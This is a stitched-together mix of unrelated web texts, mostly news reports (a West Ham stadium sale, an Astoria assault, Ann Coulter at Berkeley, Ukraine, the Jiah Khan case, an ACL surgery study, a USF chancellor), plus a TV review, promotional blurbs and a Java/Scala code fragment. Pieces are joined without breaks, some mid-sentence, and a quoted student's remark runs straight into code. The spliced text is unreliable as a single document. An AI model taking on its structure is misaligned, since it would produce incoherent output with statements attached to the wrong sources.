It is understood the purchase price fell short of the £71.2million the stadium is valued at in club accounts.
No financial details have been disclosed but a report in the London Evening Standard suggests that the club will raise less than the £71.2 million the 35,016 all-seater stadium is valued at in its accounts.
Once the site has been fully developed experts expect it to eventually be worth hundreds of millions of pounds with the apartments expected to prove attractive to fans, investors and other buyers desperate to get a foothold in the London property market.
Blocks of apartments will be built around central public gardens where the pitch is currently laid, following the example set by Arsenal’s former Highbury stadium home in Islington, north London.
A statement on the club's website read: 'West Ham United can confirm that Award-Winning local London developer Galliard Group has reached an agreement to purchase the Boleyn Ground Football Stadium once the club completes its move to the Olympic Stadium in 2016.
'Following a competitive bidding process, West Ham United selected Galliard Group as the purchaser for the site ahead of a number of other national and international companies.
'The club was impressed with Galliard Group's links to the local community and their commitment to honouring the history of the Hammers at the Boleyn Ground as part of their proposed development.'
Away blaze: West Ham captain Kevin Nolan (left) wheels away after scoring his and the Hammers' second in the 2-0 win at Aston Villa
The first match to be played at the iconic Boleyn Ground was against Millwall in 1904.
West Ham vice-chairman Karren Brady added: 'We opted to reach an agreement with Galliard because they are a local London developer and employer with origins in east London. We know they are committed to working closely with the local community and Newham Council on proposals to transform the site into a residential and retail village, which will benefit the local community and east London's regional economy.
'The deal demonstrates that we have been true to our word by securing the regeneration of two areas of east London through our move to the Olympic Stadium in 2016.
'In addition, and most importantly for us, we can see that Galliard are passionate about working with West Ham United to engage their supporters to help deliver a fitting legacy that will honour the tradition of the famous ground. We are confident that West Ham United fans will be excited about their vision and the way they plan to respect more than 100 years of West Ham history at Upton Park.'
Stephen Conway, chairman and chief executive of Galliard Group, said: 'Galliard is one of London's most successful regeneration specialists and has a proven track record in stadium land regeneration.Photo via Flickr user Gage Skidmore
The Dallas Morning News published an editorial Wednesday morning endorsing Hillary Clinton for president. It's the first time the newspaper has supported a Democratic candidate since before World War II.
"Résumé vs. résumé, judgment vs. judgment, this election is no contest," the editorial board writes, calling Trump's values "hostile to conservatism."
"He plays on fear—exploiting base instincts of xenophobia, racism, and misogyny—to bring out the worst in all of us, rather than the best," the op-ed continues. "His serial shifts on fundamental issues reveal an astounding absence of preparedness. And his improvisational insults and midnight tweets exhibit a dangerous lack of judgment and impulse control."
Though the editorial acknowledges Clinton's "real shortcomings"—particularly her "poor judgment" regarding the use of a private email server while serving as secretary of state—Clinton "is the candidate more likely to keep our nation safe, to protect American ideals, and to work across the aisle to uphold the vital domestic institutions that rely on a competent, experienced president."
The Morning News is another in a line of publications and right-wing officials to throw their weight behind Clinton—though Trump still has the National Enquirer's vote, for what it's worth.
Read: Fuck This Election2363 SHARES Facebook Twitter Google Pinterest Linkedin
As a small experiment of women’s uniqueness and the special bond between a mother and child, Pandora met up with 6 wonderful women, and asked them to undertake a special experiment to prove the connection between mother and child.
According to Pandora, the children were guided towards the group of women, and using their senses and intuition asked to try to find the one they believed to be their mother.
Anxiety, love and a bit of heartfelt tears filled the room as children from the age of 3-9 tried and succeed in finding the one and only they could call mum!
All women are unique in shape, personality and heart, and so is the beautiful connection and precious love we saw this day.
The results are truly heartwarming. Grab a tissue and see for yourself.Follow Coin partners with Civic to integrate multi-factor authentication.
Follow Coin Blocked Unblock Follow Following Nov 21, 2017
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This visionary blockchain identity-verification technology allows consumers to authorize the use of their identities in real time. We are spearheading the development of an ecosystem that is designed to facilitate on-demand, secure, low-cost access to identity-verification services via the blockchain.
The Civic team — currently working out of five countries around the globe — has created a revolutionary platform to empower consumers to control their identities. Civic recently conducted one of the most well respected token sales in history, enabling us to deliver a Marketplace for transaction of trusted identities. This Marketplace will change both the economics and user experience of how trusted identity is used forever, opening up new use cases for how we use identity.The Wachowskis sci-fi drama on Netflix gathers pace in episodes seven to 12, as the ‘sensates’ across the world get to know each other – and start to learn what is happening to them
Spoiler alert: this blog discusses events in episodes seven-12 of Sense8 on Netflix, don’t read on if you haven’t finished the season.
It was clear from the off that the Wachowskis’s divisive, mindbending thriller was very clever. But by the end, it proved itself something better than that; it proved itself to be really rather smart.
Because, when you think about, Sense8’s bafflingly high concept wasn’t actually all that baffling. Most shows spend hours upon hours establishing grand hare-brained mythologies as if grand hare-brained mythologies are the most natural things in the world. Here, we found out about the “sensates”, their powers and predicaments, at the exact same pace they did. Which was, as it would be, one heck of a bewildering experience. They didn’t know what was going on (hello, 4 Non Blondes), so why should we expect to? In Sense8 we really were right there with the characters, which is pretty much the hardest thing for a drama to do. It’s a brave way to sell a series; as my editor commented, the “it gets better after a few episodes” comment is usually an apologetic cop-out, but here it was the case because it needed to be the case.
We’ll see whether such a bold tactic will pay off when we find out if Netflix orders a second season. The Wachowskis and co-writer J Michael Straczynski have a five-year plan in mind and the cast are now under contract. And so the second half of the series had the job to do of getting us to the point where such a thing is feasible.
Facebook Twitter Pinterest A rescue mission, Sense8 style. Photograph: Netflix
And along the way, the show did emerge with something approaching a format; being in no particular order, some meandering character work that barely moved forward any plot; a high-octane action sequence that definitely did; and an occasionally magical sequence where the sensates found themselves in a curious synthesis. The scene in the Icelandic opera house when they all flashed back to their births before Riley’s nosebleed collapse was particularly affecting.
Which is not to say that anything, anything can ever match up to the show’s high audacity watermark: the great big orgy of episode six. Wonderfully, this was played for laughs when Will and Lito finally came face to face. “Do I know you?” asked the visibly curious cop; the newly out Lito matter-of-factly mentioning that they had sex and it was very special, them sharing a half-moment as an exasperated Nomi reminded them in the cadence-deficient drone we’ve come to love her for, “We’re on a clock here, fellas.” There’s sexual fluidity and there’s … that.
Facebook Twitter Pinterest ‘We’re on a clock here …’ Nomi (Jamie Clayton) in Sense8. Photograph: Murray Close/Netflix
And so the individual stories unfolded, reaching some kinds of resolution while the links within the sensate became even stronger – you could take or leave the ones you wanted. So Lito’s eventual redemption with the beard-love-triangle came when he rescued Danilea from Joaquin and played out like a telenovela of its own; Wolfgang’s crime-racket story got increasingly tedious but remained worth it for all the long shots of Max Reimelt smouldering; Kala’s story got increasingly pointless; and Nomi’s spy thriller, being led towards Whispers via the nefarious Doctor Meltzer gradually spun these people closer into each others’ worlds, so that by the end there were actually tangible relationships between them all.
It still feels like Sun and Capheus were underused as characters and were more like plot devices; she seemed to become involved only when somebody needs help with kickassery; and he in the finale literally popped up to hotwire a car, then vanished again.
Facebook Twitter Pinterest Whispers (Terrence Mann) interrogates Jonas (Naveen Andrews). Photograph: Netflix
Which left Riley and Will front and centre. Not promising. Throughout, I have found her interminable, and him a little beige. Which probably says as much about what this show does with perception and empathy as anything. The revelation that her dour demeanour comes from losing a baby was jolting; you could feel – almost like being in the sensate yourself or something – what it would have taken for her not to just curl up on that mountain. Coupled with a tender and understated performance that you didn’t suspect Brian J Smith had in him, it made for a devastating denouement.
Over on the Doctor Who blogs, a common complaint below the line is for somebody to roll their eyes and wither about how “love has saved the day again”. Well here love did save the day, and it wasn’t just unapologetic, it was the whole point and it was beautiful. If the Wachowskis set themselves the task of making a sci-fi show that was emotionally mature, sexually fluid, that asked questions about faith and power and identity then they should give themselves a gold star.
These characters found themselves in a dazzling, chaotic, uncertain world full of imperfect people that, half the time, you can never quite read, but who will inspire and save you at the times you least expect. Sorry if the Wachowski fumes have turned me into a painful wannabe Yoda here – but if you can’t identify with that as a universal human experience, then you’re probably not a real person.
See you next year?There’s something I don’t quite understand about how the big rescue plan is supposed to work. Maybe this is naive; but let me put it out there.
So, here’s my problem: what we have now are a bunch of financial institutions in trouble, because they’re highly leveraged, and have mortgage-related assets on their books. And they can’t raise cash because nobody wants to buy those assets. The Paulson plan will in effect create a market for toxic paper, thereby supposedly unfreezing the markets.
But what if the institutions are fundamentally broke, even if the liquidity squeeze is relieved?
I think of a hypothetical institution, which tradition says we should call Capital Decimation Partners. CDP’s balance sheet looks like this:
Now, obviously CDP is in trouble if it can’t sell the toxic waste at all. But suppose that Hank Paulson does his reverse auction, and it turns out that the Treasury’s price for toxic waste is 40 cents on the dollar. Even so, CDP is still underwater. So what does Treasury do then?
One answer, I suppose, is that we think that there aren’t too many firms in that position — and that those that will still fail, even with the Paulson Plan, aren’t going to disrupt the markets too much when they go down. But do we know that?
What I haven’t heard anything about is how Treasury might recapitalize firms that will be bankrupt even with the purchase facility, yet need to be kept in being.
So I’m starting to worry. Is this the son of MLEC, another attempt to create something out of nothing through fancy financial footwork?Sarker Haque in his store on Tuesday, Dec. 8, 2015. He was assaulted by a customer who he says made an anti-Muslim statement during an attack over the weekend.. View Full Caption DNAinfo/Jeanmarie Evelly
ASTORIA — An Astoria shop owner said a customer yelling that he wanted to "kill Muslims" attacked him.
Sarker Haque, 52, was behind the counter at Fatima Food Mart on 21st Avenue and 23rd Street on Saturday when the suspect — whom police identified as 55-year-old Piro Kolvani — walked into the store at roughly 1 p.m., Haque said.
The man started looking at newspapers, including a copy of the New York Post that featured a photo of one of the suspects in the San Bernardino, Calif. shooting on its cover, according to Haque.
"He looks at it two or three minutes, then comes to me and he said, 'Everything free in this store?'" Haque, who's owned the shop for 16 years, said.
"And I said, 'What? No.'"
Haque says Kolvani then walked around the store, occasionally pointing to items to ask if they were free. The owner came out from behind the counter when the suspect picked up a pot full of hot coffee out of fear he was going to to break it, Haque said.
"He pulled on it like that and said, 'Is the coffee free?'" Haque said.
"I say, what do you want, what are you looking for? And he don’t say nothing, he don't answer me."
After touching more items, Haque said the man punched him in the face, causing him to fall onto an ice cream display case.
The suspect then either proclaimed, "I want to kill Muslims," or "I kill Muslims," before continuing the assault, according to Haque, who is Muslim.
"I thought he'd punch me and then run away, but he didn't," he said.
Haque went behind the counter to try to reach a phone, but said the attacker followed him and continued to throw punches in an assault he estimates lasted seven or eight minutes.
"I was screaming and crying, I say, 'can anybody help me?'" Haque said. "I thought he was going to kill me."
Kolvani then tried to flee the store, but Haque grabbed ahold of his jacket, he said. One of his regular customers then came into the store and was able to keep the suspect from leaving until the police arrived.
Haque, who had a black eye on Monday, said he was bleeding and bruised and went to Mount Sinai Queens Hospital where he was examined and released a few hours later.
The NYPD is investigating the attack as a possible hate crime, a spokesman said. Kolvani was arrested on a misdemeanor assault charge and was issued a desk appearance ticket, police said. It was unclear if he had a lawyer.
Haque, who hails from Bangladesh, has lived in Astoria for nearly three decades with his wife and five children, choosing the area because of its schools and safe reputation, he said.
"Astoria is the best area," he said, adding that while his store was robbed a few years ago, he's never experienced an incident like this one.
In a statement on its website, the New York chapter of the Council on American-Islamic Relations said the incident "fit a pattern of increased hate-motivated crimes and bias incidents nationwide" since the attacks in Paris last month.
"The lives of American Muslims have been placed in danger by the rising anti-Muslim hysteria in our nation and by the inflammatory rhetoric used by a number of national public figures," Sadyia Khalique, the group's director of operations, said in a statement.
Haque said the assault has made him "a little bit" more wary for his safety.
"I tell my wife, be careful," he said. "I don't want anybody to be a victim like that."After filing a lawsuit against the University of California, Berkeley, Ann Coulter continues to insist that she will speak on campus as initially planned on Thursday, although the group that sponsored her scheduled speech has pulled the plug, and university officials are pushing to reschedule her visit for May 2. Cheryl Hurd reports. (Published Tuesday, April 25, 2017)
After filing a lawsuit against the University of California, Berkeley, Ann Coulter continues to insist that she will speak on campus as initially planned on Thursday, although the group that sponsored her scheduled speech has pulled the plug, and university officials are pushing to reschedule her visit for May 2.
On Tuesday, the Young America's Foundation, which had sponsored Coulter's appearance as part of its nationwide lecture series, announced it was backing out of the event.
"As of 4 p.m. today, Young America’s Foundation will not be moving forward with an event at Berkeley on April 27 due to the lack of assurances for protections from foreseeable violence from unrestrained leftist agitators," the YAF said in a statement. "Berkeley should be ashamed for creating this hostile atmosphere."
However, Harmeet Dhillon, attorney for the Berkeley College Republicans, said Coulter could still show up Thursday, regardless of the Young America's Foundation's move.
Coulter later Tuesday said in tweet that she still expects UC Berkeley to provide her a space to speak.
"I haven't spoken to any Berkeley students about when and where I will speak because I'm still waiting for Berkeley to tell me," she tweeted. "... Still expect Berkeley to provide a room."
Earlier Tuesday, UC Berkeley spokesman Dan Mogulof said in an email, "All we know is that Coulter is saying she will come to campus and appear in Sproul Plaza in the early afternoon. We have nothing beyond that at the moment."
There is no word yet from the Coulter camp or the Berkeley College Republicans, the student group that invited the conservative provocateur to speak about illegal immigration.
Amid the maelstrom swirling, the Berkeley Police Department on Tuesday held a public safety forum to hear about the community's concerns.
Police said that the gathering was "regularly scheduled," and it remains unclear whether the issue that is Coulter will be addressed.
Students on Tuesday weighed in on the bedlam.
"I mean, I’m not a Republican, and I don’t like Ann Coulter, and I wasn’t a big fan of Yiannopolis, but I still think they should be allowed to speak here, and I don’t think we should resort to violence in any sort of way," Amanda Chevalier said.
Matt Flynn echoed a similar sentiment.
"I |
() {
return cost;
}
}
public class Order {
private List<Item> items;
public Order(List<Item> items) {
this.items = items;
}
public List<Item> getItems() {
return items;
}
public int totalCost() {
int totalCost = 0;
for (Item item : getItems()) {
totalCost += item.getCost();
}
return totalCost;
}
}
Then in Scala:
class Item(val cost: Int)
class Order(val items: List[Item]) {
def totalCost(): Int = items.map(e => e.cost).sum
}
What’s important here is instead of a for loop we use the map function, which applies the function supplied to each element in the list of items. The result is a list of costs, which is then added together by the sum function.
Stay tuned for more examples as I progress with Scala and functional programming.by Geradine Simkins, CNM, MSN, Executive Director, Midwives Alliance of North America
In today’s peer-reviewed Journal of Midwifery & Women’s Health (JMWH), a landmark study** confirms that among low-risk women, planned home births result in low rates of interventions without an increase in adverse outcomes for mothers and babies.
This study, which examines nearly 17,000 courses of midwife-led care, is the largest analysis of planned home birth in the U.S. ever published.
The results of this study, and those of its companion article about the development of the MANA Stats registry, confirm the safety and overwhelmingly positive health benefits for low-risk mothers and babies who choose to birth at home with a midwife. At every step of the way, midwives are providing excellent care. This study enables families, providers and policymakers to have a transparent look at the risks and benefits of planned home birth as well as the health benefits of normal physiologic birth.
Of particular note is a cesarean rate of 5.2%, a remarkably low rate when compared to the U.S. national average of 31% for full-term pregnancies. When we consider the well-known health consequences of a cesarean -- not to mention the exponentially higher costs -- this study brings a fresh reminder of the benefits of midwife-led care outside of our overburdened hospital system.
Home birth mothers had much lower rates of interventions in labor. While some interventions are necessary for the safety and health of the mother or baby, many are overused, are lacking scientific evidence of benefit, and even carry their own risks. Cautious and judicious use of intervention results in healthier outcomes and easier recovery, and this is an area in which midwives excel. Women who planned a home birth had fewer episiotomies, pitocin for labor augmentation, and epidurals.
Most importantly, their babies were born healthy and safe. Ninety-seven percent of babies were carried to full-term, they weighed an average of eight pounds at birth, and nearly 98% were being breastfed at the six-week postpartum visit with their midwife. Only 1% of babies required transfer to the hospital after birth, most for non-urgent conditions. Babies born to low-risk mothers had no higher risk of death in labor or the first few weeks of life than those in comparable studies of similarly low-risk pregnancies.
Importantly, this study also sheds light on factors that may increase risk. These findings are consistent with other research on pregnancy complications, but the numbers of these pregnancies were low in the MANA Stats dataset, making it impossible to make clear recommendations. This article from Citizens for Midwifery contains important information to share with families who are contemplating their birth options and weighing their individual risks and benefits.
This study is critically important at a time when many deeply-flawed and misleading studies about home birth have been receiving media attention. Previous studies have relied on birth certificate data, which only capture the final place of birth (regardless of where a woman intended to give birth). The MANA Stats dataset is based on the gold standard -- the medical record. As a result, this study provides a much-needed look at the outcomes of women who intended to give birth at home (regardless of whether they ultimately transferred to hospital care). The MANA Stats data reflects not only the outcomes of mothers and babies who birthed at home, but also includes those who transferred to the hospital during a planned home birth, resolving a common concern about home birth data.
This study adds to the large and growing body of research that has found that planned home birth with a midwife is not only safe for babies and mothers with low-risk pregnancies, but results in health and cost benefits that reach far beyond one pregnancy. We invite you to share this news in your communities, and join the conversation on our Facebook page, Twitter, and Pinterest.
We are grateful to the ongoing support of the Foundation for the Advancement of Midwifery, which has been a major funder of the MANA Statistics Project.
** Note added 12:33 EST when the issue was published:Get the code here: Recorded in 1976, it’s an Easter egg at ‘Gene’s Journal’
We’ve all heard of trying to find Easter eggs on DVDs. But how about Web sites?
Gene’s Journal, the popular online comic created by Trevor Roth and drawn by David Reddick, features a young Gene Roddenberry and the tales of his adolescence that would later lead to him creating “Star Trek” — in a fictional way of course.
Commissioned and approved by the Roddenberry family, other characters include Agent 4 and Agent 6, two aliens who are visiting Earth during Roddenberry’s childhood for the purpose of studying human beings.
The hidden interview was one Gene Roddenberry did in July 1976 with William Shatner called “Inside Star Trek” that was recorded at United Western Studios in Los Angeles. It was part of a series of interviews, rarely heard, that included DeForest Kelley (Dr. Leonard McCoy) and Mark Lenard (Sarek).
The interviewers were meant as a look at the development of “Star Trek” as well as the story of Gene Roddenberry, his dreams and his difficulties.
Because “spoken word” albums such as this were typically unpopular in music stores, “Inside Star Trek” sold poorly and was not released again in the LP format. However, in 1999, Columbia re-released “Inside Star Trek” as part of the two-CD “Star Trek: The Motion Picture 20th Anniversary Collector’s Edition.”
In order to access the interview, visitors to the Gene’s Journal site need to have a special Konami Code. It will play on both PCs and Macs (but not Linux), and once the code is entered, the screen goes dark, a retro radio appears, and Eugene Roddenberry Jr., the son of the late “Star Trek” creator and his wife Majel Barrett Roddenberry, delivers a special introductory message.
To find the interview, visit Gene’s Journal at www.GenesJournalComic.com, and using your cursor keys and keyboard, type in the following code that Roddenberry Productions provided to Airlock Alpha:
UP, UP, DOWN, DOWN, LEFT, RIGHT, LEFT, RIGHT, B, A, ENTER.
Gene’s Journal is one of two comic properties produced by Roddenberry Productions and Reddick, the other being the popular “Rod & Barry.” Reddick, a former cartoonist for the “Garfield” comic strip line, also is known to genre fans for “The Trek Life” that once appeared on the official Star Trek Web site.
Roth is the chief operating officer of Roddenberry Productions.Pro-Russian militia stand guard outside an official office in Donetsk on November 13, 2014 (AFP Photo/Menahem Kahana)
Kiev (AFP) - Fears may be rising in the West that eastern Ukraine could be plunged back into all-out conflict but a new offensive by pro-Russian forces is unlikely any time soon, analysts said Thursday.
The amount of military hardware being moved into the war-torn region is insufficient for a major operation, which would probably not be launched during Ukraine's harsh winter, experts told AFP.
Instead, the deployments may be designed to deter Ukraine from launching a bid to reclaim the territories or send a message to a domestic audience in Russia.
"There is a positional war of attrition going on. Any large-scale offensives are highly unlikely," said Pavel Felgenhauer, an independent military analyst based in Moscow.
"For a major operation, you need thousands of tanks. There are a lot less than that -- and mainly just artillery."
In recent days, a string of Western powers have spoken out over fears that Russia is sending reinforcements to eastern Ukraine, parts of which have been taken over by separatists loyal to Moscow.
The Kremlin denies any involvement in the conflict but supports the rebels politically. A nominal ceasefire punctuated by frequent spells of fighting has been in place in eastern Ukraine since September.
NATO's commander in Europe, US General Philip Breedlove, said Wednesday that "columns of Russian equipment, primarily Russian tanks, Russian artillery, Russian air defence systems and Russian combat troops" were entering Ukraine.
The Organization for Security and Cooperation in Europe (OSCE) has warned that violence could get worse and is concerned about tanks and heavy weaponry witnessed by its observers moving through east Ukrainian territory held by separatists.
And Ukraine's government says it is preparing for "combat operations".
- Could last for 'decades' -
Breedlove said NATO's "first guess" was that Russia may be trying to wipe out stubborn Ukrainian resistance at strategic hotspots across rebel territory, such as Donetsk airport, in order to control a "more contiguous, more whole and capable pocket of land" that could be held long-term.
But Konstantin Kalachev, head of Moscow-based Political Expert think-tank, argued that it would not benefit the Kremlin to move "from a semi-frozen conflict to a hot phase".
"What is happening now is not the build-up to an offensive," he said.
"Russia needs a military presence (in Donetsk and Lugansk) in order to start marshalling these people (the separatists) and to force the field commanders to work together."
He added that the "sabre rattling" of sending in extra troops and equipment also aimed to "stop Ukraine thinking about trying to reclaim the territories where the coalmines are".
Ukraine's economy has been hit hard by the unrest, which has been going on since April and claimed over 4,000 lives, and coal mining is one of the country's major industries.
Felgenhauer suggested that the rebels see the current ceasefire deal as a "betrayal" and were trying to provoke an escalation in fighting.
"They're trying to show to the Kremlin that Kiev is getting ready to attack," he said. "Their appeals seem to have worked somehow and Russia has sent in some weaponry, mainly artillery."
But he believed that the volume of forces and hardware being deployed "are completely inadequate for an offensive and the time of year is not suitable."
"In theory, there is a possibility of major actions after New Year, in January or February. But I doubt it will happen in the winter -- more likely spring," he said.
Natasha Kuhrt of the Department of War Studies at King's College London described the movements as an "intimidation tactic" targeted at people watching the situation from Russia.
"I don't actually think it's going to go further than that," she said. "It's also a way of saying domestically that 'we have to stay tough.'"
Others warned that, despite recent movements, the conflict in the east of Ukraine could still drag on for many years to come.
Philippe Migault, director of research at the Institute of International and Strategic Relations in Paris, dismissed the idea of a fresh offensive, saying such a move would risk "losing everything".
He added that a frozen conflict "is in the interests of separatists and of Russia -- a form of political fait accompli. It could go on for decades."The Jiah Khan suicide case is getting murkier by the second with the chargesheet filed by CBI against actor Suraj Pancholi alleging him of pulling a foetus out of Jiah's body himself which led to Jiah suffering from a deep emotional scar.
Now as per a report published in Times of India, Suraj also sent 10 'abusive' text messages to Jiah an hour before her suicide -
22:56 - Cal if u wanna talk
22:56 - Leave
22:57 - You just made my life a prison realy just wanted to eat food with K*** meet n**** and give her your new order..U f****** creep u spy on my shady f******* person! How will we ever work if you do this s***...I always trust you blindly.. Please leave me alone!
22:57 - U f***** it up for u!
22:58 - I am very unhappy
23:03 - U think I f****** am jealous of your success hahahahaha! F****** un greatful person
23:03 - Talk to n**** and find out for yourself what happened! I..wanted to surprise u on Thursday thanks for f****** it up…when u find out the truth talk to me before that don’t even think about it…how cud u spy on me! With n****! this is f***** up!
23:08 - call asap its urgent
23:21 - cal me now
23:21 - i wanna talk to u asap
According to TOI's report, the CBI's chargesheet against Suraj alleges that Jiah and Suraj had a misunderstanding regarding Suraj meeting a jewellery designer at a hotel but when Jiah called the woman to confirm the same, the latter told her that she was going to meet Suraj the next morning leading to Jiah accusing Suraj of lying. Suraj then called up the jewellery designer himself and asked her to clear the misunderstanding regarding the appointment with Jiah but her calls were met by a busy tone. Jiah's own repeated attempts to contact Suraj were not answered until he himself called her at 10.22 PM, reported TOI. Following this Jiah arrived at Suraj's house but was told that he was in a meeting with his father. Later that night, Suraj and Jiah had two heated phone conversations, following which Suraj sent her the above 10 text messages as per TOI's report. Jiah was found hanging from the bedroom ceiling fan at 11.20 by her mother who had returned home from a party.
Credits :Times of India
Read MoreThe Georgia Dome in Atlanta is moving ever closer to the stadium graveyard, though demolition experts have yet to decide precisely how it will meet its demise.
Leaders of the team now building the Atlanta Falcons’ new home — Mercedes-Benz Stadium — say they’re close to choosing a demolition contractor for the Georgia Dome next door to the new stadium site.
They say they expect to begin salvaging materials from the dome in March and to implode it by the fall of 2017. That would clear the way for parking for the Mercedes-Benz Stadium.
Plans for the dome’s final days were discussed at a recent board meeting of the Georgia World Congress Authority, The Atlanta Journal-Constitution reported.
The demolition of the dome will be completed before college football’s national championship game comes to the new Falcons stadium in January 2018, according to the schedule outlined for the World Congress Authority’s board.
“There’s a couple different approaches that are being considered, most likely looking at either a single implosion or multiple implosions,” said Wayne Wadsworth, principal in charge of Mercedes-Benz Stadium general contractor Holder Hunt Russell Moody.
“After we hire (the demolition) firm, we’re going to work through a number of months of engineering to figure out what is the most optimum way to bring the Georgia Dome down,” he added.
The final event currently scheduled for the Georgia Dome is a Monster Jam motorsports event on March 10, said the authority’s executive director, Frank Poe. Preparations for demolition could begin shortly after that event.
Falcons owner Arthur Blank early this year announced the target date for completing Mercedes-Benz Stadium had been pushed back three months to June 1, 2017. The latest update to the dome’s demolition plans came as the Falcons reiterated confidence in the revised date for completing the new stadium.
“We would not take down the d ome or even begin to shut down the d ome unless we were certain of the completion date,” Falcons President and CEO Rich McKay said. “We’re very confident of that (June 1 date) now. If something were to happen along the way before March, we could obviously leave the d ome up (longer). That is not anticipated.”Toby Maudsley/Getty Images
A study published late last month in The New England Journal of Medicine is raising provocative questions about how best to treat a torn anterior cruciate ligament. For the study, researchers from Lund University in Sweden recruited 121 young adults who had injured their A.C.L.’s. The volunteers, between 18 and 35, were physically active, and many were competitive athletes. They agreed, rather bravely, to be randomly assigned to one of two groups and accept radically different treatments for their torn A.C.L.’s. The first group began physical therapy and then underwent surgical reconstruction of the ligament, considered by many people to be the best option for injured athletes. The second group received only physical therapy, with the option to have the operation later. Twenty-three subjects of that group did eventually have the operation. (For those fortunate enough not to be personally familiar with A.C.L. surgery, reconstruction involves replacing the injured ligament with tissue from elsewhere in your own leg or from a cadaver.)
Over two years, the injured knees were assessed using a comprehensive numerical score that rated pain, function during activity and other measures. At the time of the original injury, the knee also had been scored. At the end of the two years, both groups showed considerable improvement. The scores for the surgically repaired knees had risen by 39.2 points. The scores for the more conservatively treated knees also had risen, by 39.4 points. In other words, the outcomes were virtually identical. Despite a widespread belief that surgery leads to a stronger knee, the results showed that surgically reconstructing the A.C.L. as soon as possible after the tear “was not superior” to more conservative treatment, the study’s authors wrote. The findings suggest, the authors concluded, that “more than half the A.C.L. reconstructions” currently being conducted on injured knees “could be avoided without adversely affecting outcomes.”
This possibility should reverberate across playing fields nationwide, where, at the moment, preseason high school, collegiate and adult-league sports practices are under way, with a concomitant surge in A.C.L. tears. By one estimate, as many as 1 in every 556 fit, active people will tear an A.C.L. — particularly if they participate in sports that involve frequent pivoting and landing, like soccer, football, tennis, skiing and basketball. At the same time, the urge to treat the injury with surgery appears to be growing. The “belief among most surgeons and patients is that surgery is a ‘must,’ at least if you aim to go back into an active lifestyle,” the Swedish authors of the study e-mailed in response to questions.
Part of the reason for A.C.L. surgery’s popularity is that by most measures, it works. In the current study, most of the group members who had reconstructive surgery reported that their injured knees felt healthy after two years and that they had returned to activity — not, in most cases, at the same level as before their injuries, but they were active. Significantly, their knees also were notably more “stable” than the joints that hadn’t been surgically fixed. Stability is, in theory, desirable. A stable knee rarely gives way.
But in practice, the importance of stability after A.C.L. treatment is “controversial,” The New England Journal study’s authors, Richard Frobell, Ph.D., and Stefan Lohmander, M.D., Ph.D., of Lund University, wrote in their e-mail. In an important 2009 study published in The British Journal of Sports Medicine, researchers retrospectively compared outcomes after 10 years in competitive athletes who had surgery or had opted for conservative treatment of their torn A.C.L.’s. The surgically repaired knees were notably more stable. But they weren’t fundamentally healthier. The surgically reconstructed knees and the conservatively treated joints experienced similar (and high) levels of early onset knee arthritis, a common occurrence after an A.C.L. tear. The treatments were almost identical, too, in terms of whether the athletes could return to sports and whether they reported subsequent knee problems.
Why, then, undergo A.C.L. reconstruction, an operation that can be expensive and, like all surgical procedures, carries risks? Several top-flight orthopedic surgeons I contacted say that they remain convinced that surgery leads to a better long-term outcome for certain patients, particularly if they want to return to pivoting sports. “The reason to have the surgery is to preserve” other parts of the knee from injury during activity, says Dr. Warren Dunn, an assistant professor of orthopedics and rehabilitation at Vanderbilt University who has extensively studied A.C.L. tears. He points out that in The New England Journal of Medicine study, only 8 percent of the patients in the first surgical group subsequently tore a meniscus, a fragile pillow of cartilage that can rip if a knee gives way. Twenty-five percent of those in the physical therapy group eventually tore their meniscuses.
What these numbers mean for anyone who tears an A.C.L. or is the parent of a young athlete in that situation is that they should have a long, frank conversation with an orthopedic surgeon and possibly also a nonsurgical sports-medicine specialist about options. “We recommend surgery based on activity level and sports,” Dr. Dunn says. “Most subjects can do in-line activities” like running or biking “without an A.C.L.” He adds, “On the other hand, we believe that A.C.L.-deficient subjects that do return” to sports involving cutting, pivoting or planting the leg “can consequently injure the meniscus” or other cartilage in the knee and would benefit from a replacement A.C.L.
The authors of the study are less sure. “On the basis of our study results, we’d tell patients” that “there is no apparent downside of starting a good rehab program and waiting with the surgery decision to see if it is needed or not,” the authors wrote to me.
The ultimate lesson of The New England Journal study is almost certainly that more science on the subject is needed. “We definitely know only parts of the long-term outcome” after different A.C.L. treatments, says Dr. Duncan Meuffels, an assistant professor of orthopedic surgery at Erasmus Medical Center in Rotterdam and lead author of The British Journal of Sports Medicine study.
But large-scale, randomized controlled studies, the gold standard of medical research, may be difficult to orchestrate, in part because people with shredded A.C.L.’s can balk at being denied surgery. In The New England Journal study, some of those assigned to physical therapy wound up requesting surgery, although they weren’t experiencing any knee problems. For them, it seems, “the desire to undergo surgery was based on expectations rather than symptoms,” the authors told me. It may be years, unfortunately, before we know if such expectations are justified or if unreconstructed injured knees can be fine.ST. PETERSBURG — As the University of South Florida’s St. Petersburg campus was preparing for a hit from Hurricane Irma, its leader suggested to her boss in an email that she was still there when she had actually fled to Atlanta, a newspaper reported.
Sophia Wisniewska, regional chancellor for the Tampa-based university, negotiated a resignation Monday as university officials were set to fire her for incompetence and “lack of leadership.”
She had insinuated to her boss via emails that she remained on campus as Irma approached, even noting that things were quiet and she could hear the birds chirping there — but she was really in Atlanta, the Tampa Bay Times reported.
She defended herself Monday. In a text message, she told the Times, “I strongly reject any question of my leadership during Irma.”
Judy Genshaft, president of the USF system, canceled classes Sept. 6 as Irma appeared to be headed elsewhere, but she kept the dorms open in both Tampa and St. Petersburg on Florida’s Gulf coast. Wisniewska says she wanted to close the St. Petersburg campus, but was overruled because evacuations had not been ordered.
The next night, Irma’s track shifted west, elevating the danger for students. Officials said Genshaft expected Wisniewska to adjust to the changes, even though there were still no county-issued evacuation orders.
Instead, the chancellor pushed back when asked to close the dorms. She wanted legal advice about her authority to order students to leave.
On Monday, Genshaft wrote, “I expect a competent regional chancellor to be able to process this weather information and respond to the evolving emergency.” She also wrote that the issue isn’t “legal authority,” but “it is leadership competence in an emergency situation.”
The 10 remaining students in the dorms were ordered out the morning of Sept. 9.
The university president emailed Wisniewska on Sept. 9, asking if she’d walked around the campus, and wanted to know the status of those remaining on campus. She also inquired about Wisniewska’s “current status as you settle in for the next couple of days.”
According to emails in Wisniewska’s personnel file, the chancellor responded late that night, saying she heard more birds chirping than students talking as she walked around the campus. In the email she noted that she talked to a student who was studying for a test and peeked into a campus tavern before it closed for the weekend.
She never told Genshaft that she was leaving Florida, according to the newspaper.
On Sept. 10, Wisniewska emailed that she arrived in Atlanta the night before and planned to stay for two days.
In her resignation letter, she noted that she left only after closing the dorms and making sure the staff was ready. She said she had “her finger on the pulse of the campus through the storm and as it weakened.” She said she held a teleconference with staff to discuss damage before chartering a private plane to return.
